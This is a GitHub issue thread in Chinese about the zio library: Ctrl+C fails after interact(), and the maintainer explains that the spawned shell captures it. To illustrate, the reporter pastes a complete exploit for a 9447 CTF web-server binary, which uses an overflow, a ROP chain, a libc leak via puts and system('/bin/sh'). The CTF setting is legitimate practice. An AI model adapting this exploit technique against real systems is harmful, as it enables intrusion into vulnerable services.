zTrix/zio

io.interact之后程序无法用ctrl+c终止

0xling opened this issue · 4 comments

用zio时,发现io.interact之后程序无法用ctrl+c终止。

zTrix commented

贴一下代码看看?

from zio import *
target = ('bws-ad8sfsklw.9447.plumbing', 80)
target = './bws/bws'

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
payload = 'GET /..'

payload +=' '*9+'\r\n\r\n'
io.gdb_hint()
io.write(payload)

io.read_until('HTTP')

io.interact()

payload2 = 'GET /../'
payload2 += 'a'*0x112
payload2 += '\xb3\x12\x40'
payload2 += ' '*9 + '\r'
payload2 += 'b'*0x100
payload2 += 'c'*0xcc1

pop_rdi_ret = 0x401323
pop_rsi_ret = 0x401321 # pop rsi; pop r15; ret

put_got = 0x602020
put_plt = 0x400880
rop = l64(pop_rdi_ret) + l64(put_got)
rop += l64(put_plt)
read_buf = 0x400ae0
buff_addr = 0x61bb00
rop += l64(pop_rdi_ret) + l64(buff_addr)
rop += l64(pop_rsi_ret) + l64(0x1000) + l64(0x1000)
rop += l64(read_buf)
pop_rsp_ret = 0x400bf7
rop += l64(pop_rsp_ret) + l64(buff_addr)
payload2 += rop
payload2 = payload2.ljust(4050, 'c')
payload2 +='\r\n\r\n'
io.write(payload2)
io.read_until('</html>\n')
put_addr = l64(io.readline().strip('\n').ljust(8, '\x00'))
print hex(put_addr)
base = put_addr - 0x6fe30

binsh_addr = base+0x17ccdb
system_addr = base + 0x46640
rop2 = l64(pop_rdi_ret) + l64(binsh_addr)
rop2 += l64(system_addr)
rop2 += '\r\n\r\n'

io.write(rop2)

io.interact()

exp(target)

我在io.read_until('HTTP')后面临时加了一个io.interact(),此时是无法用ctrl+c终止的。 即使在最后那个io.interact拿到shell之后,仍然无法用ctrl+c终止,只能用exit命令终止。
这是9447的一个题目,你应该有吧

zTrix commented

噢,这个是正常的,在 process mode 下,interact 之后,所有的东西都被执行的程序接管,拿到 shell 之后 Ctrl-C 也被 /bin/sh 吃掉了,要退出用 Ctrl-D 即可。

你可以试一下

zio /bin/bash

应该是一样的效果。

好的,谢谢。 这个issue 你可以关了。